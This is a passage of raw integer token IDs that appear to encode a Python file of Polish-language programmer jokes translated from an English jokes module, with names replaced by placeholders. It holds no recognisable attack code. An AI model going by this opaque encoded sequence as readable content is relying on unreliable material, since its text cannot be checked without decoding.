8642,
284,
14646,
2423,
10274,
748,
5018,
14300,
6902,
30063,
19602,
13,
1678,
376,
29967,
557,
14079,
1056,
30063,
29892,
13527,
413,
517,
30045,
318,
7558,
2766,
478,
326,
29915,
29874,
29973,
19166,
5045,
29926,
2589,
29926,
3701,
29892,
3514,
11402,
24592,
19602,
13,
1678,
376,
29968,
295,
1089,
29901,
1551,
3701,
12920,
2065,
375,
29875,
29991,
315,
1537,
6771,
1055,
269,
2606,
437,
10407,
29973,
7835,
2079,
29901,
435,
342,
331,
318,
30042,
3637,
29895,
23760,
3768,
478,
326,
29915,
29874,
19602,
13,
1678,
376,
2308,
15791,
1335,
4113,
2165,
12741,
270,
19442,
281,
13884,
2526,
437,
1939,
4176,
29915,
13363,
2594,
29884,
29889,
3929,
27638,
11178,
326,
15062,
347,
5671,
16137,
492,
3701,
29892,
12509,
646,
29874,
30042,
4930,
13160,
492,
28085,
1537,
30063,
14552,
2397,
19602,
13,
1678,
376,
29967,
557,
1015,
8069,
30063,
10135,
29884,
30006,
30023,
512,
346,
6739,
2397,
1824,
29875,
18391,
29973,
501,
582,
305,
314,
3173,
29920,
5516,
29920,
948,
30023,
281,
11811,
12486,
281,
281,
11811,
346,
29892,
591,
1233,
30025,
11615,
297,
6197,
281,
11811,
1984,
856,
27980,
2901,
9275,
23398,
20040,
1217,
29991,
613,
13,
1678,
376,
29956,
1871,
11156,
346,
14435,
28918,
2901,
270,
2766,
534,
566,
484,
1108,
29891,
29901,
443,
646,
29874,
30042,
29876,
713,
347,
282,
4479,
30023,
455,
2532,
15386,
2067,
6197,
29892,
7782,
809,
29876,
28223,
474,
8280,
29891,
30006,
1984,
288,
29871,
29896,
19602,
13,
1678,
376,
29902,
303,
2786,
1324,
29871,
29896,
29900,
17453,
1175,
2165,
21615,
2526,
29901,
11402,
29892,
413,
29873,
4916,
1537,
5671,
398,
347,
4739,
413,
397,
9016,
279,
1460,
8414,
11402,
29892,
413,
29873,
4916,
1537,
748,
4930,
5671,
398,
347,
4739,
19602,
13,
1678,
376,
29902,
303,
2786,
4739,
29871,
29906,
17453,
8339,
21615,
2526,
29901,
11402,
29892,
413,
29873,
4916,
1537,
3104,
1929,
19855,
14921,
5698,
324,
28894,
4930,
7218,
552,
29873,
484,
503,
5365,
706,
270,
19442,
856,
613,
13,
1678,
376,
29902,
303,
2786,
4739,
1944,
17453,
8339,
21615,
2526,
29901,
11402,
29892,
413,
29873,
4916,
1537,
5671,
398,
347,
4739,
23022,
1609,
364,
14022,
3941,
474,
11402,
29892,
413,
29873,
4916,
1537,
7975,
4930,
5671,
398,
347,
4739,
19602,
13,
1678,
376,
29902,
303,
2786,
1324,
29871,
29896,
29900,
2393,
2165,
21615,
2526,
29901,
11402,
29892,
413,
29873,
4916,
1537,
5671,
398,
347,
4739,
1788,
2268,
267,
29876,
579,
7000,
29891,
8414,
29871,
29896,
29945,
14079,
6442,
3376,
19602,
13,
1678,
376,
29902,
303,
2786,
1324,
29871,
29896,
29900,
17453,
1175,
2165,
21615,
2526,
29901,
11402,
29892,
413,
29873,
4916,
1537,
5671,
398,
347,
4739,
413,
397,
9016,
279,
1460,
29892,
11402,
413,
29873,
4916,
1537,
748,
4930,
5671,
398,
347,
4739,
8414,
11402,
29892,
1302,
281,
16426,
709,
29875,
29892,
13527,
304,
288,
1788,
347,
534,
15791,
7000,
962,
19602,
13,
1678,
376,
29902,
303,
2786,
1324,
29871,
29896,
29900,
17453,
1175,
2165,
21615,
2526,
29901,
11402,
29892,
413,
29873,
4916,
1537,
5671,
398,
347,
4739,
413,
397,
534,
15791,
7000,
29891,
29892,
11402,
29892,
413,
29873,
4916,
1537,
748,
4930,
5671,
398,
347,
4739,
8414,
11402,
29892,
413,
29873,
4916,
1537,
302,
335,
4518,
288,
21930,
4930,
269,
30006,
18369,
5037,
19602,
13,
1678,
376,
29967,
557,
7782,
29891,
2766,
3701,
29871,
7173,
331,
1335,
298,
711,
2966,
2165,
29973,
379,
20838,
1175,
29873,
19602,
13,
1678,
376,
29940,
1175,
280,
567,
911,
281,
281,
22171,
30045,
1512,
305,
1480,
5175,
5909,
6771,
304,
29892,
13527,
1055,
29893,
300,
1444,
30045,
492,
3701,
8280,
2904,
16399,
29892,
304,
28918,
2901,
288,
29871,
29896,
19602,
13,
1678,
376,
29928,
711,
719,
1824,
2079,
503,
10467,
911,
22191,
1537,
281,
704,
347,
851,
2592,
13952,
5045,
29926,
4255,
331,
7559,
318,
506,
30023,
3756,
29876,
554,
631,
2960,
20855,
19602,
13,
1678,
376,
29903,
30025,
270,
2766,
24253,
18711,
20066,
4807,
1824,
2165,
11151,
289,
30006,
11392,
2165,
29889,
323,
2904,
2901,
3006,
534,
911,
455,
9275,
23398,
19602,
13,
1678,
376,
29999,
279,
6429,
5601,
6067,
5950,
4255,
30025,
2071,
30006,
1114,
3701,
281,
29871,
29945,
29945,
29995,
503,
281,
1486,
29892,
29871,
29941,
29900,
29995,
12920,
4353,
474,
29871,
29896,
29945,
29995,
23381,
2165,
503,
6494,
11294,
1572,
613,
13,
1678,
376,
25548,
5031,
12339,
21752,
503,
4671,
370,
30006,
331,
304,
1850,
9709,
1610,
29881,
30023,
491,
5295,
318,
558,
11349,
29885,
962,
13502,
323,
4156,
2165,
19602,
13,
1678,
376,
29902,
6092,
323,
4156,
2165,
3104,
11987,
774,
29874,
437,
12162,
713,
29891,
13918,
279,
2165,
1984,
29973,
438,
1240,
503,
585,
2766,
7558,
492,
29892,
13527,
11293,
15791,
6771,
274,
3768,
1460,
29889,
19166,
5671,
4353,
30025,
6951,
4739,
1108,
2165,
29892,
28918,
2901,
7975,
2268,
2679,
8480,
19602,
13,
1678,
376,
9283,
2079,
5671,
5365,
30006,
4469,
503,
1324,
30042,
29881,
30042,
20904,
503,
330,
29980,
719,
29889,
1588,
12357,
397,
3914,
30066,
805,
29891,
28989,
1302,
3701,
380,
17034,
29889,
13218,
29940,
347,
281,
3768,
29889,
399,
2786,
30045,
1357,
748,
1055,
330,
4916,
30023,
474,
7689,
29980,
2423,
29926,
1357,
12509,
776,
347,
7790,
1642,
613,
13,
1678,
376,
29925,
275,
6067,
281,
5048,
6771,
12979,
269,
638,
6067,
437,
2362,
4814,
29889,
399,
3616,
952,
1270,
304,
10832,
2638,
29892,
8080,
4930,
8077,
347,
2067,
2786,
534,
29920,
774,
29874,
3701,
13110,
521,
29893,
2606,
30063,
970,
29920,
2786,
19602,
13,
1678,
376,
29928,
433,
2067,
2412,
323,
4156,
5629,
16137,
287,
30006,
7559,
318,
506,
30023,
29973,
14589,
774,
29891,
3777,
567,
29884,
30063,
22242,
30066,
27980,
20903,
7622,
962,
19602,
13,
1678,
376,
29902,
417,
6598,
270,
1240,
2413,
288,
6112,
2786,
1484,
289,
30006,
30023,
700,
5704,
2039,
18928,
4434,
506,
29891,
29901,
448,
29896,
19602,
13,
1678,
376,
29902,
417,
6598,
270,
1240,
2413,
288,
6112,
12532,
8280,
29891,
30006,
1984,
288,
29871,
29896,
29901,
29871,
29900,
19602,
13,
1678,
376,
29903,
1537,
29890,
19501,
20088,
1984,
14435,
11151,
4771,
29884,
29889,
29871,
29945,
1375,
329,
304,
503,
1609,
29873,
611,
5600,
15062,
29884,
29892,
24475,
20467,
333,
30006,
9616,
5018,
1764,
30045,
1240,
30063,
977,
2112,
974,
9497,
26663,
29915,
29874,
19602,
13,
1678,
376,
11277,
1302,
270,
2766,
286,
583,
19855,
346,
8674,
7994,
13218,
1017,
18355,
30066,
1391,
29895,
1017,
29893,
11997,
23370,
25684,
13642,
1484,
318,
30042,
5693,
8480,
5087,
503,
4479,
579,
350,
292,
29915,
29874,
613,
13,
1678,
376,
29925,
356,
29926,
18391,
1102,
307,
287,
5621,
29915,
29874,
437,
8619,
8268,
851,
265,
7821,
29901,
2581,
30045,
492,
4930,
3671,
29880,
22881,
12617,
19237,
281,
4685,
21508,
911,
29892,
6771,
2268,
550,
29874,
29892,
13527,
289,
11392,
3914,
5018,
3820,
30025,
1388,
5600,
437,
1182,
911,
19602,
13,
1678,
376,
29903,
29920,
2679,
6067,
437,
1030,
1484,
1824,
391,
29891,
5048,
6771,
12979,
2268,
2679,
6067,
8919,
7430,
281,
380,
468,
29884,
269,
3857,
29889,
315,
1537,
11021,
11349,
380,
468,
29884,
269,
3857,
281,
8919,
280,
29973,
613,
13,
1678,
376,
2525,
861,
6771,
289,
538,
2502,
8321,
29926,
834,
1460,
318,
30042,
3637,
29895,
23760,
290,
29889,
3929,
16810,
29884,
6771,
20316,
289,
538,
2502,
5018,
1030,
29881,
1460,
8321,
5018,
4089,
911,
8321,
1764,
2617,
30006,
19602,
13,
1678,
376,
9283,
391,
1335,
4810,
29933,
5607,
29915,
29874,
21370,
370,
423,
2316,
25295,
9709,
1610,
423,
23341,
1108,
4042,
29871,
29906,
29900,
29900,
29900,
29889,
3826,
29891,
700,
1324,
3701,
14583,
307,
2526,
30063,
2686,
10993,
29889,
13218,
29924,
25934,
28159,
29871,
29929,
29929,
29929,
29929,
29889,
796,
29876,
12617,
4810,
29933,
5607,
29915,
29874,
29892,
20467,
1388,
29973,
5931,
613,
13,
1678,
9872,
5813,
29958,
29871,
14300,
6902,
281,
577,
10993,
3104,
30023,
29887,
30023,
408,
1590,
25931,
503,
16810,
327,
30025,
318,
7558,
1512,
408,
1590,
25931,
19602,
13,
1678,
376,
29923,
2039,
10700,
3725,
29949,
281,
13884,
2526,
437,
2594,
29884,
29892,
2594,
29892,
2529,
29892,
286,
583,
346,
9758,
16022,
29892,
3347,
279,
29892,
6600,
1049,
29920,
1984,
2529,
29892,
11062,
556,
1056,
29892,
2594,
1171,
29892,
2930,
827,
29892,
330,
272,
1362,
4065,
29892,
281,
1789,
29892,
29827,
1148,
324,
29892,
6337,
3637,
375,
856,
613,
13,
1678,
376,
7967,
611,
4739,
16438,
29980,
3083,
2412,
11451,
29926,
23195,
8414,
2087,
16945,
21967,
29973,
399,
455,
19151,
288,
11615,
962,
14462,
11305,
950,
466,
28322,
29892,
8080,
302,
335,
4518,
4930,
380,
8480,
3701,
454,
567,
911,
19602,
13,
1678,
376,
29928,
433,
2067,
2412,
5260,
1867,
7814,
29875,
28918,
2901,
282,
1278,
29875,
29973,
1952,
4930,
521,
346,
3701,
10589,
744,
30109,
30063,
281,
413,
1336,
346,
19602,
13,
1678,
376,
29903,
24688,
30006,
331,
8006,
318,
506,
30025,
29892,
8321,
13642,
29926,
2432,
29891,
491,
7430,
12509,
4680,
17537,
29871,
29947,
29895,
29892,
29871,
29896,
29953,
29895,
29892,
29871,
29941,
29906,
29895,
29892,
29871,
29953,
29946,
29895,
29892,
29871,
29896,
29906,
29947,
29895,
29892,
29871,
29906,
29945,
29953,
29895,
474,
29871,
29945,
29896,
29906,
29895,
29889,
1763,
22857,
2532,
6830,
30042,
529,
5813,
15513,
613,
13,
1678,
376,
29991,
4541,
29892,
313,
1762,
22249,
1450,
484,
29892,
1045,
304,
20467,
1388,
19123,
13,
29962,
13,
13,
13,
15945,
29908,
13,
29967,
23195,
2400,
2041,
515,
278,
376,
29926,
23195,
29918,
264,
29889,
2272,
29908,
934,
29889,
13,
4300,
18411,
304,
19919,
29901,
529,
5813,
29958,
448,
4944,
1090,
19178,
6770,
29899,
8132,
29871,
29941,
29889,
29900,
13,
15945,
29908,
13,
13,
305,
2707,
353,
518,
13,
1678,
376,
29968,
1000,
29891,
529,
5813,
29958,
364,
6951,
1113,
5018,
4739,
12681,
29892,
304,
454,
455,
373,
7559,
274,
21816,
11293,
15791,
19602,
13,
1678,
376,
29956,
3616,
858,
19501,
4434,
5897,
29892,
13642,
316,
29895,
4675,
7994,
529,
5813,
29958,
14435,
302,
583,
2901,
26683,
265,
2412,
5671,
2460,
18071,
29892,
12509,
646,
29874,
30042,
529,
5813,
29958,
4930,
13993,
3803,
293,
19602,
13,
1678,
9872,
5813,
29958,
4930,
611,
1015,
29980,
30109,
2786,
30066,
281,
13475,
18181,
260,
1328,
962,
29892,
12509,
646,
29874,
30042,
13475,
808,
260,
1328,
29891,
4031,
29892,
13527,
2301,
29875,
3701,
805,
583,
1537,
30063,
29892,
13918,
774,
29891,
4930,
281,
23843,
1537,
30063,
529,
5813,
15513,
613,
13,
1678,
9872,
5813,
29958,
20066,
911,
413,
397,
29892,
11593,
3514,
3701,
3523,
962,
284,
466,
7994,
19602,
13,
1678,
9872,
5813,
29958,
4930,
1277,
10973,
7994,
29892,
12509,
646,
29874,
30042,
4930,
611,
577,
10993,
17805,
3376,
19602,
13,
1678,
9872,
5813,
29958,
4930,
3104,
11987,
774,
7994,
25861,
6314,
272,
29915,
29874,
29892,
12509,
646,
29874,
30042,
4930,
5018,
827,
30006,
7994,
869,
4205,
4220,
3285,
28918,
2901,
869,
15063,
29968,
860,
2141,
613,
13,
1678,
376,
29925,
631,
29893,
3616,
962,
1824,
331,
529,
5813,
29958,
491,
5600,
12088,
448,
29929,
19602,
13,
1678,
9872,
5813,
29958,
5629,
774,
27233,
9922,
30066,
26115,
8329,
419,
29915,
2165,
19602,
13,
1678,
376,
29956,
3616,
858,
19501,
5629,
387,
29880,
22881,
935,
29875,
16438,
631,
8480,
14276,
706,
396,
305,
2707,
8414,
396,
15459,
3780,
29892,
288,
3749,
10086,
8480,
346,
5316,
279,
1460,
474,
4930,
29890,
583,
1984,
19602,
13,
1678,
376,
3421,
14936,
1850,
9709,
1610,
29881,
30023,
4930,
6771,
8168,
15791,
29892,
28918,
2901,
678,
2707,
29915,
29874,
29889,
3929,
16810,
29884,
772,
7659,
2883,
11402,
748,
318,
7558,
2766,
30063,
19602,
13,
1678,
9872,
5813,
29958,
2730,
6301,
282,
8069,
30063,
25357,
1324,
337,
23843,
3819,
29926,
484,
11151,
1370,
348,
2120,
5040,
29884,
29892,
13642,
503,
10467,
911,
281,
945,
8480,
19602,
13,
1678,
9872,
5813,
29958,
2730,
6301,
5671,
4353,
30025,
1362,
30063,
4031,
30042,
29966,
5813,
29958,
281,
3756,
9574,
364,
987,
29884,
19602,
13,
1678,
9872,
5813,
29958,
13993,
28918,
2901,
22936,
18589,
272,
17938,
27213,
8268,
29901,
10211,
1984,
704,
347,
1193,
19602,
13,
1678,
9872,
5813,
29958,
318,
2901,
23135,
30006,
2787,
310,
3362,
17293,
19602,
13,
1678,
376,
29968,
631,
776,
4245,
27213,
29884,
302,
335,
4518,
4930,
11451,
941,
4739,
529,
5813,
29958,
288,
2897,
29920,
562,
18928,
19602,
13,
1678,
9872,
5813,
29958,
4930,
27113,
359,
340,
7994,
3701,
437,
3918,
2165,
1856,
10449,
29892,
12509,
646,
29874,
30042,
304,
697,
27113,
359,
340,
14462,
3701,
437,
4930,
1484,
19602,
13,
1678,
13577,
29965,
286,
2786,
304,
9275,
23398,
29915,
6771,
503,
10467,
911,
20467,
29881,
30025,
281,
5629,
1478,
328,
2120,
529,
5813,
15513,
613,
13,
1678,
9872,
5813,
29958,
4930,
318,
7558,
2766,
13722,
2165,
5018,
30042,
11129,
4807,
29892,
28918,
2901,
318,
672,
29920,
4807,
19602,
13,
1678,
9872,
5813,
29958,
2730,
6301,
502,
348,
30025,
30063,
476,
13165,
19602,
13,
1678,
9872,
5813,
29958,
2730,
6301,
282,
8069,
30063,
29871,
29896,
29946,
29900,
269,
25588,
1055,
1375,
329,
30023,
19602,
13,
1678,
9872,
5813,
29958,
2730,
6301,
544,
4975,
342,
28894,
274,
2275,
30025,
3095,
5081,
29357,
3756,
12486,
408,
6269,
4739,
29901,
525,
5601,
23398,
4286,
613,
13,
1678,
9872,
5813,
29958,
4930,
2268,
22971,
289,
30006,
11392,
2165,
29892,
12509,
646,
29874,
30042,
304,
480,
914,
7994,
29892,
13527,
2730,
6301,
7975,
4930,
10589,
744,
30109,
30063,
29889,
1551,
4188,
9163,
7994,
289,
30006,
30023,
4518,
19602,
13,
1678,
376,
29968,
433,
4353,
7969,
529,
5813,
16299,
29874,
4930,
611,
413,
10653,
275,
1362,
315,
11742,
29892,
12509,
646,
29874,
30042,
16588,
4930,
13156,
1467,
7994,
529,
5813,
15513,
613,
13,
1678,
9872,
5813,
29958,
2730,
6301,
5045,
412,
30006,
1240,
30063,
8168,
15791,
380,
359,
3514,
962,
805,
3848,
29878,
2256,
3768,
19602,
13,
1678,
376,
29928,
433,
529,
5813,
29958,
27980,
2901,
15098,
8311,
2532,
271,
11997,
19602,
13,
1678,
9872,
5813,
29958,
4930,
318,
7558,
2766,
9196,
29889,
12265,
30006,
17029,
4031,
29892,
13527,
304,
373,
474,
772,
16810,
29884,
696,
5365,
1302,
11215,
13560,
6301,
19602,
13,
1678,
9872,
5813,
29958,
4930,
318,
7558,
2766,
18297,
29874,
29889,
4121,
29878,
1537,
1055,
413,
397,
1850,
270,
11800,
29877,
29892,
263,
30042,
3514,
5018,
16207,
289,
30006,
30023,
4518,
19602,
13,
1678,
9872,
5813,
29958,
611,
27113,
9001,
437,
544,
5693,
271,
5909,
1539,
397,
19602,
13,
1678,
9872,
5813,
29958,
2730,
6301,
28085,
1537,
30063,
704,
347,
1193,
18559,
29891,
27086,
29895,
1270,
29926,
6197,
19602,
13,
1678,
9872,
5813,
29958,
4930,
3104,
11987,
774,
7994,
10135,
719,
1984,
18559,
29889,
1551,
832,
4564,
13022,
7994,
1006,
1725,
1315,
29891,
19602,
13,
1678,
376,
29968,
3333,
29874,
4669,
9275,
16426,
293,
1537,
772,
678,
29966,
5813,
15513,
613,
13,
1678,
376,
29928,
433,
529,
5813,
29958,
1108,
29891,
405,
29925,
29899,
509,
566,
484,
611,
4739,
503,
20156,
3231,
6598,
438,
29898,
29896,
467,
613,
13,
1678,
9872,
5813,
29958,
13993,
288,
6112,
1240,
30025,
5094,
1341,
30023,
5671,
29893,
2172,
30023,
1512,
9275,
583,
9497,
6277,
2412,
7362,
19602,
13,
1678,
376,
30153,
30025,
18562,
8986,
4657,
529,
5813,
29958,
269,
1537,
29890,
5295,
29926,
19789,
29891,
4065,
29892,
6836,
30042,
6130,
8311,
29892,
12509,
646,
29874,
30042,
1055,
29893,
300,
270,
1662,
3701,
748,
1045,
4739,
19602,
13,
1678,
9872,
5813,
29958,
5671,
4353,
30025,
1362,
30006,
1108,
4677,
29875,
827,
1764,
30042,
1572,
281,
15062,
347,
380,
2275,
962,
29901,
5671,
19352,
4677,
29875,
827,
1764,
30042,
1572,
1055,
405,
413,
1450,
2275,
15396,
29892,
772,
5316,
962,
5018,
25139,
13560,
30042,
4518,
437,
7622,
2412,
29704,
19602,
13,
1678,
376,
30157,
328,
484,
5018,
336,
30042,
16520,
4930,
2730,
6301,
20881,
11641,
7558,
30063,
678,
2707,
29940,
272,
3780,
2451,
19602,
13,
1678,
9872,
5813,
29958,
4930,
1824,
7994,
281,
610,
496,
29889,
349,
945,
7994,
3514,
19602,
13,
1678,
9872,
5813,
29958,
3104,
1929,
29875,
282,
8069,
30063,
3095,
5081,
28322,
17788,
20855,
11178,
4657,
8321,
318,
7558,
26906,
3756,
10313,
281,
30025,
29873,
2120,
19602,
13,
1678,
9872,
5813,
29958,
4930,
2301,
29875,
318,
7558,
2766,
30063,
18891,
29915,
29874,
29892,
12509,
646,
29874,
30042,
851,
2592,
474,
1850,
14435,
5629,
1572,
30042,
650,
14041,
5263,
12072,
30006,
18653,
13918,
30025,
18386,
18612,
19602,
13,
1678,
9872,
5813,
29958,
4930,
318,
7558,
2766,
2143,
280,
2039,
2397,
29889,
1763,
2143,
280,
2039,
1324,
318,
558,
11349,
29885,
347,
410,
3616,
30025,
748,
288,
8280,
542,
19602,
13,
1678,
376,
29968,
433,
4353,
7969,
529,
5813,
29958,
4930,
611,
413,
10653,
275,
1362,
3423,
5738,
29892,
12509,
646,
29874,
30042,
302,
10391,
4930,
318,
5295,
29895,
2786,
13952,
678,
2707,
3768,
4186,
3780,
331,
19602,
13,
1678,
9872,
5813,
29958,
2730,
6301,
318,
7558,
30063,
19789,
6951,
1984,
29893,
4807,
9016,
2753,
2412,
1055,
4930,
1066,
441,
24136,
962,
13156,
759,
911,
19602,
13,
1678,
9872,
5813,
29958,
4930,
2301,
29875,
27518,
14274,
30063,
5018,
4739,
11178,
2165,
29889,
317,
30025,
503,
1609,
29873,
5629,
1572,
30042,
650,
29892,
491,
3701,
11293,
19924,
30063,
19602,
13,
1678,
9872,
5813,
29958,
281,
18369,
287,
30006,
503,
302,
583,
2901,
26683,
650,
29926,
282,
30023,
29873,
492,
19602,
13,
1678,
376,
13836,
30045,
492,
529,
5813,
29958,
9709,
275,
911,
413,
397,
503,
289,
30006,
11392,
4479,
29892,
304,
697,
1021,
3701,
1835,
1610,
19855,
19602,
13,
1678,
376,
8514,
292,
678,
2707,
29874,
4186,
3780,
29874,
611,
317,
4375,
1055,
772,
2526,
290,
347,
29871,
29896,
29900,
29896,
15543,
613,
13,
1678,
376,
29968,
433,
4353,
7969,
529,
5813,
29958,
611,
413,
10653,
16399,
525,
29928,
340,
324,
1460,
4286,
613,
13,
1678,
9872,
5813,
29958,
2730,
6301,
437,
5173,
30063,
3701,
437,
12741,
29891,
270,
19442,
11151,
1129,
30045,
1127,
17592,
7559,
1006,
1725,
1315,
318,
30042,
3637,
29895,
776,
4106,
19602,
13,
1678,
376,
9283,
29891,
529,
5813,
29958,
3701,
4930,
5812,
26683,
30025,
29892,
28918,
2901,
330,
262,
30025,
19602,
13,
1678,
9872,
5813,
29958,
302,
744,
3249,
1055,
318,
30042,
5693,
6067,
432,
30023,
1537,
15396,
4047,
2786,
2393,
11853,
305,
19602,
13,
1678,
9872,
5813,
29958,
27213,
7994,
17814,
2901,
7430,
11151,
4660,
2165,
29892,
13918,
30025,
1388,
30066,
29892,
25777,
2413,
12248,
1000,
2526,
29889,
5282,
2172,
7994,
28918,
2901,
22775,
10278,
423,
19602,
13,
1678,
376,
9283,
29891,
529,
5813,
29958,
18298,
2589,
4739,
29871,
29896,
29945,
29900,
29995,
14177,
2207,
29892,
1055,
29893,
300,
330,
4518,
4930,
14435,
318,
582,
305,
290,
1421,
19602,
13,
1678,
9872,
5813,
29958,
318,
582,
305,
314,
423,
281,
30025,
29873,
1984,
29892,
13642,
5812,
26683,
30025,
16768,
1324,
503,
328,
6067,
29892,
503,
11576,
3701,
1835,
336,
1233,
347,
318,
582,
305,
290,
19855,
19602,
13,
1678,
376,
9283,
29891,
529,
5813,
29958,
4930,
11208,
1547,
14462,
591,
29926,
30045,
1512,
19602,
13,
1678,
9872,
5813,
29958,
2730,
6301,
503,
475,
11195,
28894,
474,
29911,
7844,
11151,
26141,
2481,
29915,
29874,
19602,
13,
1678,
376,
1451,
29966,
5813,
29958,
4930,
3104,
11987,
774,
7994,
1788,
29884,
1751,
21469,
10313,
19602,
13,
1678,
376,
3195,
438,
5425,
529,
5813,
29958,
611,
28918,
2901,
3756,
12486,
1370,
303,
29893,
30023,
448,
285,
466,
6955,
12486,
19602,
13,
1678,
9872,
5813,
29958,
2730,
6301,
1835,
336,
1233,
347,
4677,
29886,
309,
28894,
413,
397,
503,
289,
30006,
11392,
4479,
26209,
1240,
15105,
29875,
19602,
13,
1678,
376,
29968,
29874,
30042,
311,
13792,
3637,
6067,
3758,
529,
5813,
29958,
15098,
8311,
2411,
5081,
11853,
525,
3217,
7428,
1806,
4286,
613,
13,
1678,
9872,
5813,
29958,
4930,
3104,
11987,
774,
7994,
364,
29920,
329,
18928,
29889,
7107,
29886,
309,
1061,
529,
5813,
29958,
313,
29968,
13778,
29897,
437,
710,
29920,
2442,
27980,
2901,
29889,
1938,
3514,
2412,
5812,
30066,
1113,
29889,
796,
10467,
911,
19602,
13,
1678,
9872,
5813,
29958,
4930,
5018,
8077,
7994,
413,
20192,
281,
5094,
29895,
22617,
29892,
28918,
2901,
281,
318,
672,
13795,
305,
19602,
13,
1678,
9872,
5813,
29958,
4677,
4569,
7994,
282,
492,
1984,
7559,
25334,
28784,
5295,
13475,
18181,
3252,
19755,
1484,
503,
21232,
711,
5450,
29884,
19602,
13,
1678,
9872,
5813,
29958,
5671,
4353,
30025,
1362,
30006,
1108,
5040,
29884,
19602,
13,
1678,
376,
29928,
433,
529,
5813,
29958,
349,
353,
405,
29925,
29889,
435,
2412,
316,
1270,
29920,
1324,
14435,
503,
10467,
911,
11806,
391,
6955,
484,
19602,
13,
1678,
9872,
5813,
29958,
2730,
6301,
6130,
336,
30063,
27980,
2901,
503,
847,
3359,
29914,
4304,
19602,
13,
1678,
376,
29940,
638,
290,
29884,
4930,
318,
1388,
5600,
3701,
1824,
28894,
503,
678,
2707,
3768,
4186,
3780,
331,
474,
5018,
29926,
6598,
503,
19237,
13918,
5693,
962,
19602,
13,
1678,
376,
29940,
638,
290,
29884,
4930,
318,
1388,
5600,
3701,
288,
311,
29920,
2766,
30063,
25684,
5629,
387,
28835,
700,
413,
20192,
529,
5813,
29958,
474,
5018,
29926,
6598,
503,
19237,
13918,
5693,
962,
19602,
13,
1678,
9872,
5813,
29958,
4930,
318,
7558,
2766,
1006,
1725,
1315,
2165,
22956,
5175,
5909,
29889,
1551,
5671,
8637,
7994,
503,
281,
4285,
1362,
22775,
346,
30066,
19602,
13,
1678,
9872,
5813,
29958,
4930,
318,
7558,
2766,
15401,
29915,
29874,
29889,
1551,
435,
29923,
1254,
10167,
307,
2067,
1240,
30025,
19602,
13,
1678,
9872,
5813,
29958,
2730,
6301,
18004,
2681,
30063,
14923,
571,
3977,
2397,
4265,
29915,
29874,
19602,
13,
1678,
376,
1293,
29874,
28801,
7823,
8280,
9497,
29881,
1537,
7803,
326,
413,
356,
29885,
8414,
413,
356,
29885,
529,
5813,
29958,
6771,
302,
583,
2901,
26683,
2681,
19602,
13,
1678,
9872,
5813,
29958,
9709,
275,
2275,
281,
1017,
2067,
26115,
437,
382,
11303,
567,
29874,
29892,
6738,
336,
437,
8077,
13565,
26657,
3616,
2412,
13156,
5867,
29884,
503,
704,
29883,
30025,
5094,
29893,
309,
466,
562,
4739,
19602,
13,
1678,
9872,
5813,
29958,
6771,
288,
3859,
2067,
9574,
269,
2603,
1454,
331,
29889,
399,
3616,
858,
19501,
281,
30025,
29873,
1984,
3701,
748,
1045,
4739,
19602,
13,
1678,
376,
29940,
347,
5045,
29926,
2589,
29926,
3701,
1243,
4479,
29889,
20172,
328,
1984,
1243,
4657,
529,
5813,
29958,
11293,
719,
29893,
8480,
20316,
8168,
15791,
413,
397,
19602,
13,
1678,
376,
29968,
29874,
30042,
4518,
24009,
359,
503,
2545,
4518,
529,
5813,
29958,
611,
2381,
15791,
281,
29895,
8650,
281,
8823,
15152,
2039,
1537,
1055,
6192,
7804,
5295,
472,
557,
360,
29928,
3267,
19602,
13,
1678,
376,
29968,
290,
348,
638,
11156,
281,
17927,
911,
529,
5813,
29958,
503,
10467,
911,
611,
4739,
772,
2526,
290,
383,
1299,
1964,
19602,
13,
1678,
376,
13836,
30045,
492,
529,
5813,
29958,
3777,
567,
7994,
2048,
29915,
29874,
29892,
4930,
318,
1388,
11402,
3701,
748,
9709,
1610,
13643,
29892,
12509,
646,
29874,
30042,
4930,
21498,
26448,
3756,
1056,
6276,
823,
1335,
413,
20192,
19602,
13,
1678,
9872,
5813,
29958,
20066,
911,
3756,
9574,
5112,
19335,
29889,
399,
808,
834,
7994,
21930,
1055,
413,
433,
4353,
1337,
30023,
29892,
263,
373,
29874,
696,
5365,
620,
2065,
30023,
19964,
29891,
19602,
13,
1678,
376,
9283,
29891,
529,
5813,
29958,
5045,
13884,
6429,
1243,
323,
3864,
29874,
772,
16810,
29884,
22191,
6429,
29883,
3701,
1055,
269,
11392,
3914,
1484,
19602,
13,
1678,
376,
13836,
30045,
492,
7689,
29980,
2423,
10246,
29920,
22249,
13643,
1824,
529,
5813,
10202,
304,
373,
22249,
7253,
315,
10789,
347,
19602,
13,
1678,
9872,
5813,
29958,
5018,
8077,
7994,
302,
583,
2901,
26683,
650,
282,
30023,
29873,
280,
281,
286,
12532,
6836,
30042,
29871,
29946,
409,
23262,
29891,
19602,
13,
1678,
9872,
5813,
29958,
2730,
6301,
8642,
3334,
29874,
30063,
12162,
819,
12486,
503,
17877,
7000,
273,
30025,
269,
2603,
1454,
331,
19602,
13,
1678,
9872,
5813,
29958,
13993,
281,
22171,
6598,
4265,
29889,
4546,
6301,
16983,
772,
4930,
29926,
2656,
28894,
19602,
13,
1678,
9872,
5813,
29958,
2730,
6301,
503,
475,
11195,
28894,
29871,
29953,
29946,
29899,
2966,
8268,
1788,
1751,
21469,
1460,
1055,
29871,
29941,
29906,
29899,
2966,
10449,
5516,
29920,
948,
496,
19602,
13,
1678,
9872,
5813,
29958,
2730,
6301,
282,
8069,
30063,
437,
851,
398,
819,
29875,
5018,
29926,
4255,
10449,
19602,
13,
1678,
9872,
5813,
29958,
2730,
6301,
25777,
941,
30063,
3777,
851,
398,
819,
29875,
591,
29926,
4255,
10449,
19602,
13,
1678,
9872,
5813,
29958,
4930,
2301,
29875,
4677,
29886,
309,
28894,
16768,
29926,
2412,
413,
20192,
29889,
8622,
29920,
948,
29891,
16448,
6902,
7430,
3701,
6613,
28894,
413,
397,
529,
5813,
15513,
613,
13,
1678,
9872,
5813,
29958,
6771,
4764,
356,
29885,
405,
10789,
583,
29895,
9383,
16462,
661,
29884,
11063,
26131,
455,
19602,
13,
1678,
9872,
5813,
29958,
2730,
6301,
28085,
1537,
30063,
18559,
30023,
29892,
13642,
6771,
3756,
10763,
14527,
2786,
27086,
29895,
1270,
27983,
474,
2186,
1056,
19602,
13,
1678,
9872,
5813,
29958,
2730,
6301,
318,
7558,
30063,
5316,
387,
554,
324,
7804,
29895,
503,
2115,
29889,
4422,
5575,
29892,
13918,
774,
29891,
315,
9497,
22249,
13643,
29889,
405,
1450,
300,
26673,
328,
